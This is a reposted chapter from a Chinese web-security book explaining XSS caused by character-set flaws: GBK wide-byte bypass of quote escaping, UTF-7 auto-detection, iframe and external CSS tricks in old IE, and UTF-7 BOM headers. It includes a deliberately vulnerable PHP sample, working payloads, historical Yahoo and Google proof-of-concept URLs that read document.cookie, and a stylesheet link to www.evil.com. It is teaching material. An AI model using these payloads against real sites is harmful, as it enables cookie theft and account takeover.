返回介绍

6.5 字符集缺陷导致的 XSS

发布于 2024-01-20 15:41:03 字数 4783 浏览 0 评论 0 收藏 0

有些安全问题的罪魁祸首是字符集的使用(即字符集编码与解码)不正确导致的,字符集本身也有一些问题,比如,各种说不清道不明的原因导致字符集之间的交集分歧。如果世界上只有一种字符集,也只有一种编码方式,那么这个字符世界应该就是和平的。

在介绍安全问题前,我们来了解一些基本概念:什么是字符、什么是字节、什么是字符集、什么是字符集编码。

1. 字符与字节

肉眼看到的一个文字或符号单元就是一个字符(包括乱码),一个字符可能对应1~n字节,1字节为8位,每一位要么为1,要么为0。

2. 字符集

一个字符对应1~n字节是由字符集与编码决定的,比如,ASCII字符集就是一个字符对应1字节,不过1字节只用了7位,最高位用于其他目的,所以ASCII字符集共有2的7次方(128)个字符,基本就是键盘上的英文字符(包括控制符)。

ASCII字符集表达不了拉丁系的字符,更表达不了东亚字符,所以各种演变出现了诸多字符集,如ISO8859系列、GB2312、GBK、GB18030、BIG5、Shift_JIS等,直到Unicode字符集出现,才看到了世界和平的曙光,但是各国的这些字符集还在沿用,不可能清零从头开始,所以这个字符的世界还是很混乱。

3. 字符集编码

这些字符集大都对应一种编码方式(比如GBK字符集对应了GBK编码),不过Unicode字符集的编码方式有UTF-8、UTF-16、UTF-32、UTF-7,常见的是UTF-8与UTF-7。

编码的目的是最终将这些字符正确地转换为计算机可理解的二进制,对应的解码就是将二进制最终解码为人类可读的字符。

6.5.1 宽字节编码带来的安全问题

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,比如,下面这个PHP示例,在magic_quotes_gpc=On的情况下,如何触发XSS?

<?php header("Content-Type: text/html;charset=GBK"); ?>
<head>
<title>gb xss</title>
</head>
<script>
a="<?php echo $_GET['x'];?>";
</script>

我们会想到,需要闭合双引号才行,如果只是提交如下语句:

gb.php?x=1";alert(1)//

双引号会被转义成\",导致闭合失败:

a="1\";alert(1)//";

由于这个网页头部响应指明了这是GBK编码,GBK编码第一字节(高字节)的范围是0x81~0xFE,第二字节(低字节)的范围是0x40~0x7E与0x80~0xFE,这样的十六进制表示。而\符号的十六进制表示为0x5C,正好在GBK的低字节中,如果之前有一个高字节,那么正好会被组成一个合法字符,于是提交如下:

gb.php?x=1%81";alert(1)//

双引号会继续被转义成\",最终如下:

a="1[0x81]\";alert(1)//";

[0x81]\组成了一个合法字符,于是之后的双引号就会产生闭合,这样我们就成功触发了XSS。

这些宽字节编码的高低位范围都不太相同,具体可以查相关维基百科。

这里有一点要注意,GB2312是被GBK兼容的,它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE(0x5C不在该范围内),把上面的PHP代码的GBK改为GB2312,在浏览器中处理行为同GBK,也许是由于GBK兼容GB2312,浏览器都做了同样的兼容:把GB2312统一按GBK行为处理。

上面这类宽字节编码问题的影响非常普遍,不仅是XSS这么简单,从前端到后端的流程中,字符集编码处理不一致可能导致SQL注入、命令执行等一系列安全问题。

6.5.2 UTF-7问题

UTF-7是Unicode字符集的一种编码方式,不过并非是标准推荐的,现在仅IE浏览器还支持UTF-7的解析,比如,Firefox从5版本就不支持UTF-7了。UTF-7的存在是有历史原因的,感兴趣的读可以去维基百科上查阅。

IE浏览器历史上出现以下好几类UTF-7 XSS。

1. 自动选择UTF-7编码

在IE 6/IE 7时代,如果没声明HTTP响应头字符集编码方式或者声明错误:

Content-Type: text/html;charset=utf-8 // 声明字符集编码方式
Content-Type  text/html         // 未声明字符集编码方式
Content-Type: text/html;charset=uf-8 // 声明错误的字符集编码方式

同时,<meta http-equiv>未指定charset或指定错误,那么IE浏览器会判断响应内容中是否出现UTF-7编码的字符串,如果有当前页面会自动选择UTF-7编码方式,如下:

<title>utf-7 xss</title>
+ADw-script+AD4-
alert(document.location)+ADw-/script+AD4-
<div>123</div>

历史上,Yahoo和Google都因为这个而被XSS漏洞攻击过,它们的POC分别如下:

http://search.yahoo.com/search?p=%
2BADw-/title%2BAD4-%2BADw-script%
2BAD4-alert(document.cookie)%2BADw-/script
%2BAD4-&fr=yfp-t-501&togg
le=1&cop=mss&ei=UTF-8&eo=euc 
// 注:euc是错误的字符集编码方式
http://www.google.com/search?
hl=en&oe=cp932&q=%2BADw-script%2BAD4
-alert(document.cookie)%2BADsAPA-/script
%2BAD4-%2BACI-
// 注:cp932是错误的字符集编码方式

这是一种危险的机制,现在已经修补。

2. 通过iframe方式调用外部UTF-7编码的HTML文件

父页通过Content-Type或<meta>标签来声明UTF-7编码,然后使用<iframe>标签嵌入外部UTF-7编码的HTML文件,代码如下:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7">
<body>
<iframe src=" utf-71.html"/>
</body>
</html>

utf-71.html的代码如下:

<html>
+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-
</html>

不过现在IE限制了<iframe>只能嵌入同域内的UTF-7编码文件,虽然曾经有通过重定向跳转到外域的方式绕过这个限制。

3. 通过link方式调用外部UTF-7编码的CSS文件

通过<link>标签嵌入外部UTF-7编码的CSS文件,此时父页不需要声明UTF-7编码方式,代码如下:

<html>
<title>123</title>
<link rel="stylesheet" href="http://www.evil.com/utf7.css" type="text/css"/>
</html>

utf7.css可以在外域,代码如下:

@charset "utf-7";
body+AHs-x:expression(if(!window.x)+AHs-
alert(1)+ADs-window.x=1+ADsAfQ-)+AH0-

4. 通过指定BOM文件头

BOM的全称为Byte Order Mark,即标记字节顺序码,只出现在Unicode字符集中,BOM出现在文件的最开始位置,软件通过识别文件的BOM来判断它的Unicode字符集编码方式,常见的BOM头如表6-1所示。

表6-1 字符集编码BOM

其中,LE是Little Endian,指低位字节在前,高位字节在后;BE是Big Endian,指高位字节在前,低位字节在后。

相关解析软件如果发现BOM是+/v8,就认为目标文档是UTF-7编码,IE曾经出现的漏洞就是:以最高的优先级判断UTF-7 BOM头。这样只要能控制目标网页开头是UTF-7 BOM头,后续的内容就可以以UTF-7方式编码,从而绕过过滤器。

在实际的攻击场景中,能控制目标网页开头部分的功能如下:

· 用户自定义的CSS样式文件(如:曾经的百度空间)。

· JSON CallBack类型的链接,这类出现在几乎各大Web 2.0网站中。

修补这类安全问题很简单,只要在目标网页开头部分强制加一个空格即可,这样BOM头就无效了。

6.5.3 浏览器处理字符集编码BUG带来的安全问题

历史上所有的浏览器在处理字符集编码时都出现过BUG,这类安全问题大多是模糊测试出来的。在此不打算一一列举,不过有一点需要特别说明的是:标准总是过于美好,比如字符集标准,但是每个浏览器在实施这些标准时不一定就能很好地实施,所以不要轻信它们不会出现BUG。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文